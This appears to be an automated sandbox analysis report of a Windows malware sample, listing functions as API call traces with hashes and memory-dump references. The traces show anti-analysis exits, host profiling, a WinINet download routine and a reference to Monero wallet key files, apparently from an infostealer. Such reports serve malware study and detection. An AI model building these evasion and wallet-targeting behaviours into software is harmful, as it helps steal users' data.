Opcode ID: 8434c52f958f8a676acd5f24a6b77fe704abcbf786350b185cb6fb65d2b7916a
Instruction ID: f27b427bd7c3753687e87b8711dbbd5486318a50e08730d617fd8aa8a5738f5b
Opcode Fuzzy Hash: 8434c52f958f8a676acd5f24a6b77fe704abcbf786350b185cb6fb65d2b7916a
Instruction Fuzzy Hash: A0B13272910109ABDB04FBA0DD9AEEEBB38BF94300F404558F547B6091EF746E49CB66

Function 00524FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00524FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00524FD1
InternetOpenA.WININET(00540DDF,00000000,00000000,00000000,00000000), ref: 00524FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00525011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00525041
InternetCloseHandle.WININET(?), ref: 005250B9
InternetCloseHandle.WININET(?), ref: 005250C6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: c88f6d1edb8c6a013222f66a0a3fe07fc4a02be1ca4969cbbbe68e8308f019d6
Instruction ID: ac044dd22cc7eeac5cc24bae964526f4475651815eeca329a57e58328cfec70a
Opcode Fuzzy Hash: c88f6d1edb8c6a013222f66a0a3fe07fc4a02be1ca4969cbbbe68e8308f019d6
Instruction Fuzzy Hash: B031EBB4A00218ABDB20CF54DD89BDDB7B4FB48704F5081D9E70AB7281D7B46E858F99

Function 005383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00538426
wsprintfA.USER32 ref: 00538459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0053847B
RegCloseKey.ADVAPI32(00000000), ref: 0053848C
RegCloseKey.ADVAPI32(00000000), ref: 00538499

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

RegQueryValueExA.KERNEL32(00000000,0108E968,00000000,000F003F,?,00000400), ref: 005384EC
lstrlen.KERNEL32(?), ref: 00538501
RegQueryValueExA.KERNEL32(00000000,0108E980,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00540B34), ref: 00538599
RegCloseKey.KERNEL32(00000000), ref: 00538608
RegCloseKey.ADVAPI32(00000000), ref: 0053861A

Strings

%s\%s, xrefs: 0053844D

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 82b52549a7c7b60c2f17558fcde4d78be32d443e3c707a73d904f234dc287075
Instruction ID: 858ecd55003abdd5abe0fd140faf7e36b372b282867361de524d04e731f11ba5
Opcode Fuzzy Hash: 82b52549a7c7b60c2f17558fcde4d78be32d443e3c707a73d904f234dc287075
Instruction Fuzzy Hash: 7221E9B1910218ABDB24DF54DC85FE9B7B8FB88704F00C5D8E60AA6180DF75AA85CFD4

Function 00537690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005376A4
RtlAllocateHeap.NTDLL(00000000), ref: 005376AB
RegOpenKeyExA.KERNEL32(80000002,0107B9D8,00000000,00020119,00000000), ref: 005376DD
RegQueryValueExA.KERNEL32(00000000,0108E9C8,00000000,00000000,?,000000FF), ref: 005376FE
RegCloseKey.ADVAPI32(00000000), ref: 00537708

Strings

Windows 11, xrefs: 005376BD

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: e8244cb356235325f84e2ad29ce25e3cecb6dfa34cc961c404af390bb3b81309
Instruction ID: b424a2e32be85e05935a758186aef0ce71ff8756421b9ddde032dcd442b5a9d3
Opcode Fuzzy Hash: e8244cb356235325f84e2ad29ce25e3cecb6dfa34cc961c404af390bb3b81309
Instruction Fuzzy Hash: F20162B5A04309BBDB10DBE4DD49FADBBB8EB48701F108454FA06E7291E6B89900CF55

Function 00537720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537734
RtlAllocateHeap.NTDLL(00000000), ref: 0053773B
RegOpenKeyExA.KERNEL32(80000002,0107B9D8,00000000,00020119,005376B9), ref: 0053775B
RegQueryValueExA.KERNEL32(005376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0053777A
RegCloseKey.ADVAPI32(005376B9), ref: 00537784

Strings

CurrentBuildNumber, xrefs: 00537771

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: b49f8f19f39d06d5270fa68ccb923950efb747e499f6c562790e5295301e8829
Instruction ID: 10adab060765213026400a613178a6949b5a4fbc19240f0c1969a5a703478e43
Opcode Fuzzy Hash: b49f8f19f39d06d5270fa68ccb923950efb747e499f6c562790e5295301e8829
Instruction Fuzzy Hash: 1F0117B5A40309BBDB10DFE4DC4AFAEB7B8FB48705F108555FA06B7281D6B469008F55

Function 005369F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01081780), ref: 005398A1
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01081798), ref: 005398BA
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01081540), ref: 005398D2
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,010817E0), ref: 005398EA
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01081678), ref: 00539903
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01088BC8), ref: 0053991B
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01076778), ref: 00539933
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01076758), ref: 0053994C
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,010816D8), ref: 00539964
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01081588), ref: 0053997C
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01081600), ref: 00539995
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,010815A0), ref: 005399AD
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,01076538), ref: 005399C5
Part of subcall function 00539860: GetProcAddress.KERNEL32(77190000,010815E8), ref: 005399DE

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 005211D0: ExitProcess.KERNEL32 ref: 00521211

Part of subcall function 00521160: GetSystemInfo.KERNEL32(?), ref: 0052116A
Part of subcall function 00521160: ExitProcess.KERNEL32 ref: 0052117E

Part of subcall function 00521110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0052112B
Part of subcall function 00521110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00521132
Part of subcall function 00521110: ExitProcess.KERNEL32 ref: 00521143

Part of subcall function 00521220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0052123E
Part of subcall function 00521220: __aulldiv.LIBCMT ref: 00521258
Part of subcall function 00521220: __aulldiv.LIBCMT ref: 00521266
Part of subcall function 00521220: ExitProcess.KERNEL32 ref: 00521294

Part of subcall function 00536770: GetUserDefaultLangID.KERNEL32 ref: 00536774

Part of subcall function 00521190: ExitProcess.KERNEL32 ref: 005211C6

Part of subcall function 00537850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005211B7), ref: 00537880
Part of subcall function 00537850: RtlAllocateHeap.NTDLL(00000000), ref: 00537887
Part of subcall function 00537850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0053789F

Part of subcall function 005378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537910
Part of subcall function 005378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00537917
Part of subcall function 005378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0053792F

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01088B38,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00536AE8
CloseHandle.KERNEL32(00000000), ref: 00536AF9
Sleep.KERNEL32(00001770), ref: 00536B04
CloseHandle.KERNEL32(?,00000000,?,01088B38,?,0054110C,?,00000000,?,00541110,?,00000000,00540AEF), ref: 00536B1A
ExitProcess.KERNEL32 ref: 00536B22

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 428cb0ff89ada3efd0e3dbd7b40060360e7bf2c1a6eefc52e23ac653edbcd965
Instruction ID: ad38c0991aea8f0dd6b7a1847d2a5cabf32eb2edf304fe3d377bf1fa607b1e95
Opcode Fuzzy Hash: 428cb0ff89ada3efd0e3dbd7b40060360e7bf2c1a6eefc52e23ac653edbcd965
Instruction Fuzzy Hash: 9D31CD7190421ABADB04F7F0DC5ABEEBF78BF94340F108518F252B6191DF746905CAA6

Function 005299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
LocalFree.KERNEL32(0052148F), ref: 00529A90
CloseHandle.KERNEL32(000000FF), ref: 00529A9A

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: e0b5e1fac2b861129e7abe8a037fb76c978f58321743746ce1ea4fd5b871c3fb
Instruction ID: cea5e1b8ad5f5f1ca015e30f82c0196c534ca68ae8d43a1ec27ac8c4c38d3abb
Opcode Fuzzy Hash: e0b5e1fac2b861129e7abe8a037fb76c978f58321743746ce1ea4fd5b871c3fb
Instruction Fuzzy Hash: 9931F6B4A0030AEFDB14CF94D985BAE7BB5FF49340F108158E912A7390D779AA41CFA1

Function 00534780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0108ED40), ref: 005347DB

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 00534801
lstrcat.KERNEL32(?,?), ref: 00534820
lstrcat.KERNEL32(?,?), ref: 00534834
lstrcat.KERNEL32(?,0107A5F0), ref: 00534847
lstrcat.KERNEL32(?,?), ref: 0053485B
lstrcat.KERNEL32(?,0108DEA8), ref: 0053486F

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 00538D90: GetFileAttributesA.KERNEL32(00000000,?,00521B54,?,?,0054564C,?,?,00540E1F), ref: 00538D9F

Part of subcall function 00534570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00534580
Part of subcall function 00534570: RtlAllocateHeap.NTDLL(00000000), ref: 00534587
Part of subcall function 00534570: wsprintfA.USER32 ref: 005345A6
Part of subcall function 00534570: FindFirstFileA.KERNEL32(?,?), ref: 005345BD

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
